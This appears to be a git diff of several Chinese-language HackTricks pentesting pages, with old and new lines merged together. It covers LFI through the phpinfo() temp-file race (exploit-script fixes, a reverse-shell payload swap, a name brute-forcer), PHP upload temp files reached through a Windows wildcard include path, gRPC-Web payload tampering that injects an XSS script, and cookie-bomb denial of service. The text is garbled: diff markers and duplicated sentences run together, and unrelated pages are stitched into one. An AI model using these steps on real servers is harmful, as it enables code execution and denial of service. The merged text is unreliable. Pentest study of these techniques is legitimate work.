* 我们负载的最后部分将使用**加载生成的php文件**来执行命令 * 我们有效载荷的最后部分将使用**加载生成的php文件**来执行命令
我需要**调用两次反序列化**。在我的测试中,第一次创建了`/tmp/a.php`文件,但未加载,第二次则正确加载。 我需要**调用这个反序列化两次**。在我的测试中,第一次创建了`/tmp/a.php`文件但没有加载,第二次则正确加载。
{% hint style="success" %}
学习与实践AWS黑客技术<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家ARTE**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践GCP黑客技术<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家GRTE**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持HackTricks</summary>
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。
</details>
{% endhint %}

View file

@ -1,43 +1,48 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
要利用此漏洞,您需要:**一个LFI漏洞一个显示phpinfo()的页面,"file\_uploads = on",并且服务器必须能够写入"/tmp"目录。** 要利用此漏洞,您需要:**一个 LFI 漏洞,一个显示 phpinfo() 的页面“file\_uploads = on”并且服务器必须能够在“/tmp”目录中写入。**
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) [https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
**HTB教程**[https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s) **教程 HTB** [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
您需要修复漏洞(将**=>**更改为**=&gt;**)。要做到这一点,您可以执行: 您需要修复漏洞(将 **=>** 更改为 **=>**)。为此,您可以执行:
``` ```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
``` ```
您还需要更改漏洞利用的**payload**例如使用php-rev-shell**REQ1**这应该指向phpinfo页面并包含填充_REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_),以及**LFIREQ**这应该指向LFI漏洞_LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ 在利用空字符时检查双“%”)
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
### 理论 ### 理论
如果在PHP中允许上传文件并尝试上传文件则该文件将存储在临时目录中直到服务器完成处理请求然后删除该临时文件。 如果在PHP中允许上传文件且您尝试上传文件,则该文件会存储在临时目录中,直到服务器处理完请求,然后该临时文件会被删除
因此如果在Web服务器中发现了LFI漏洞您可以尝试猜测创建的临时文件的名称并在服务器删除之前访问临时文件以利用RCE。 然后如果您在Web服务器中发现了LFI漏洞您可以尝试猜测创建的临时文件的名称并通过在文件被删除之前访问临时文件来利用RCE。
在**Windows**中,文件通常存储在**C:\Windows\temp\php**中。 在**Windows**中,文件通常存储在**C:\Windows\temp\php**
在**Linux**中,文件的名称通常是**随机的**,位于**/tmp**。由于名称是随机的,因此需要**从某处提取临时文件的名称**并在其被删除之前访问它。这可以通过读取**函数“phpconfig()**内容中**变量$\_FILES**的值来完成。 在**linux**中,文件的名称通常是**随机的**位于**/tmp**。由于名称是随机的,因此需要**从某处提取临时文件的名称**并在其被删除之前访问它。这可以通过读取函数“**phpconfig()**内容中**变量$\_FILES**的值来完成。
**phpinfo()** **phpinfo()**
**PHP**使用**4096B**的缓冲区,当缓冲区**满时**,它会**发送给客户端**。然后客户端可以**发送** **大量大请求**(使用大头部)**上传一个php**反向**shell**,等待**phpinfo()的第一部分返回**其中包含临时文件的名称并尝试在php服务器删除文件之前**访问临时文件**以利用LFI漏洞 **PHP**使用**4096B**的缓冲区,当它**满**时,它会被**发送到客户端**。然后客户端可以**发送** **大量大请求**(使用大头部)**上传php**反向**shell**,等待**phpinfo()的第一部分返回**其中包含临时文件的名称并尝试在php服务器删除文件之前通过利用LFI漏洞**访问临时文件**。
**Python脚本尝试暴力破解名称如果长度6** **Python脚本尝试暴力破解名称如果长度=6**
```python ```python
import itertools import itertools
import requests import requests
@ -59,16 +64,17 @@ sys.exit(0)
print('[x] Something went wrong, please try again') print('[x] Something went wrong, please try again')
``` ```
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,45 +1,46 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
**查看此技术的完整详情:[https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf)**
## **PHP文件上传**
当**PHP**引擎接收到按照RFC 1867格式化的文件的**POST请求**时它会生成临时文件来存储上传的数据。这些文件对于PHP脚本中的文件上传处理至关重要。如果需要在脚本执行之后持久存储必须使用`move_uploaded_file`函数将这些临时文件重新定位到所需位置。在执行后PHP会自动删除任何剩余的临时文件。
{% hint style="info" %}
**安全警报:攻击者可能利用临时文件的位置,利用本地文件包含漏洞,在上传过程中访问文件以执行代码。**
{% endhint %} {% endhint %}
未经授权访问的挑战在于预测临时文件的名称,这是有意随机化的。
#### 在Windows系统上的利用
在Windows上PHP使用`GetTempFileName`函数生成临时文件名,结果类似于`<path>\<pre><uuuu>.TMP`的模式。特别注意: **查看此技术的完整细节 [https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf)**
- 默认路径通常为`C:\Windows\Temp`。 ## **PHP 文件上传**
- 前缀通常为"php"。
- `<uuuu>`代表唯一的十六进制值。由于函数的限制仅使用低16位允许最多65,535个具有恒定路径和前缀的唯一名称使得暴力破解成为可能。
此外在Windows系统上利用过程更加简化。`FindFirstFile`函数中的一个特殊之处允许在本地文件包含LFI路径中使用通配符。这使得可以创建类似以下内容的包含路径来定位临时文件 **PHP** 引擎接收到包含根据 RFC 1867 格式化的文件的 **POST 请求** 时,它会生成临时文件以存储上传的数据。这些文件对于 PHP 脚本中的文件上传处理至关重要。如果需要在脚本执行之外的持久存储,必须使用 `move_uploaded_file` 函数将这些临时文件移动到所需位置。执行后PHP 会自动删除任何剩余的临时文件。
{% hint style="info" %}
**安全警报:攻击者如果知道临时文件的位置,可能会利用本地文件包含漏洞通过在上传过程中访问该文件来执行代码。**
{% endhint %}
未经授权访问的挑战在于预测临时文件的名称,该名称是故意随机化的。
#### 在 Windows 系统上的利用
在 Windows 上PHP 使用 `GetTempFileName` 函数生成临时文件名,形成类似 `<path>\<pre><uuuu>.TMP` 的模式。值得注意的是:
- 默认路径通常是 `C:\Windows\Temp`
- 前缀通常是 "php"。
- `<uuuu>` 代表一个唯一的十六进制值。由于该函数的限制,仅使用低 16 位,因此在路径和前缀不变的情况下,最多可以生成 65,535 个唯一名称,使暴力破解成为可能。
此外,在 Windows 系统上,利用过程更为简化。`FindFirstFile` 函数的一个特性允许在本地文件包含 (LFI) 路径中使用通配符。这使得可以构造如下的包含路径以定位临时文件:
``` ```
http://site/vuln.php?inc=c:\windows\temp\php<< http://site/vuln.php?inc=c:\windows\temp\php<<
``` ```
在某些情况下,可能需要更具体的掩码(如`php1<<`或`phpA<<`)。可以系统地尝试这些掩码来发现已上传的临时文件。 在某些情况下,可能需要更具体的掩码(如 `php1<<``phpA<<`)。可以系统地尝试这些掩码以发现上传的临时文件。
#### 在GNU/Linux系统上的利用 #### 在 GNU/Linux 系统上的利用
对于GNU/Linux系统临时文件命名中的随机性很强使得这些名称既不可预测也不容易受到暴力攻击。更多细节可以在参考文档中找到。 对于 GNU/Linux 系统,临时文件命名中的随机性是强健的,使得名称既不可预测也不易受到暴力攻击。更多细节可以在参考文档中找到。

View file

@ -1,37 +1,36 @@
# gRPC-Web渗透测试 # Pentesting gRPC-Web
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
## **操纵gRPC-Web负载** ## **操纵 gRPC-Web 负载**
gRPC-Web在请求中使用Content-Type: `application/grpc-web-text`,这种形式类似于base64编码的protobuf您可以使用[gprc-coder](https://github.com/nxenon/grpc-pentest-suite)工具,也可以安装其[Burp Suite扩展程序](https://github.com/nxenon/grpc-pentest-suite)。 gRPC-Web 在请求中使用 Content-Type: `application/grpc-web-text`,这是一种以 base64 编码形式的 protobuf您可以使用 [gprc-coder](https://github.com/nxenon/grpc-pentest-suite) 工具,也可以安装其 [Burp Suite 扩展](https://github.com/nxenon/grpc-pentest-suite)。
### **使用gGRPC Coder工具手动操作** ### **使用 gGRPC Coder 工具手动操作**
1. 首先解码负载: 1. 首先解码负载:
```bash ```bash
echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
``` ```
## 2. 编辑解码后的有效负载内容 2. 编辑解码负载的内容
在拦截和解码 gRPC 流量后,攻击者可以编辑有效负载内容以尝试执行各种攻击。这可能包括更改请求参数、注入恶意代码或修改数据以触发应用程序中的漏洞。编辑有效负载内容是一种常见的渗透测试技术,可帮助发现应用程序中的安全漏洞。
``` ```
nano out.txt nano out.txt
2: {"Amin Nasiri Xenon GRPC"} 2: {"Amin Nasiri Xenon GRPC"}
3: 54 3: 54
7: {"<script>alert(origin)</script>"} 7: {"<script>alert(origin)</script>"}
``` ```
3. 编码新的有效载 3. 编码新的有效
```bash ```bash
protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
``` ```
@ -40,16 +39,16 @@ protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+ AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+
``` ```
### **使用 gRPC-Web Coder Burp Suite 扩展的手册** ### **使用 gRPC-Web Coder Burp Suite 扩展的手册**
您可以在 [gRPC-Web 渗透测试套件](https://github.com/nxenon/grpc-pentest-suite) 中使用 gRPC-Web Coder Burp Suite 扩展,这样更容易。您可以在其存储库中阅读安装和使用说明。 您可以在 [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) 中使用 gRPC-Web Coder Burp Suite 扩展,这样更简单。您可以在其仓库中阅读安装和使用说明。
## **分析 gRPC-Web JavaScript 文件** ## **分析 gRPC-Web Javascript 文件**
每个 gRPC-Web 应用程序中至少有一个 JavaScript 文件。您可以分析该文件以查找新消息、端点和服务。尝试使用 [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite) 工具。 每个 gRPC-Web 应用程序中至少有一个 Javascript 文件。您可以分析该文件以查找新消息、端点和服务。尝试使用 [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite) 工具。
1. 下载 JavaScript gRPC-Web 文件 1. 下载 Javascript gRPC-Web 文件
2. 使用 grpc-scan.py 进行扫描: 2. 使用 grpc-scan.py 扫描
```bash ```bash
python3 grpc-scan.py --file main.js python3 grpc-scan.py --file main.js
``` ```
3. 分析输出并测试新的端点和新服务: 3. 分析输出并测试新的端点和新服务:
``` ```
Output: Output:
Found Endpoints: Found Endpoints:
@ -141,21 +140,22 @@ grpc.gateway.testing.ClientStreamingEchoResponse:
| MessageCount | Proto3IntField | 1 | | MessageCount | Proto3IntField | 1 |
+--------------+----------------+--------------+ +--------------+----------------+--------------+
``` ```
## 参考资料 ## 参考文献
* [Amin Nasiri《入侵 gRPC-Web 文章](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45) * [Amin Nasiri 的 gRPC-Web 黑客文章](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45)
* [gRPC-Web 渗透测试套件](https://github.com/nxenon/grpc-pentest-suite) * [gRPC-Web 渗透测试套件](https://github.com/nxenon/grpc-pentest-suite)
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持 HackTricks 的其他方式: * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想在 HackTricks 中看到您的 **公司广告****下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,34 +1,36 @@
<details> {% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> 学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
**`Cookie炸弹`** 涉及**向域及其子域添加大量大型Cookie以针对用户**。这一行为导致受害者向服务器**发送超大的HTTP请求**,随后被服务器**拒绝**。这导致特定于该域及其子域内的用户遭受拒绝服务DoS攻击。
一个很好的**示例**可以在这篇文章中看到:[https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
更多信息,请查看此演示文稿:[https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
**`Cookie bomb`** 涉及 **向一个域及其子域添加大量大 cookies目标是用户**。此操作导致受害者 **向服务器发送超大 HTTP 请求**,这些请求随后被 **服务器拒绝**。其后果是对该域及其子域内的用户实施拒绝服务 (DoS) 攻击。
一个很好的 **例子** 可以在这个报告中看到:[https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
有关更多信息,您可以查看这个演示文稿:[https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}

View file

@ -1,19 +1,20 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
其他支持HackTricks的方式 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
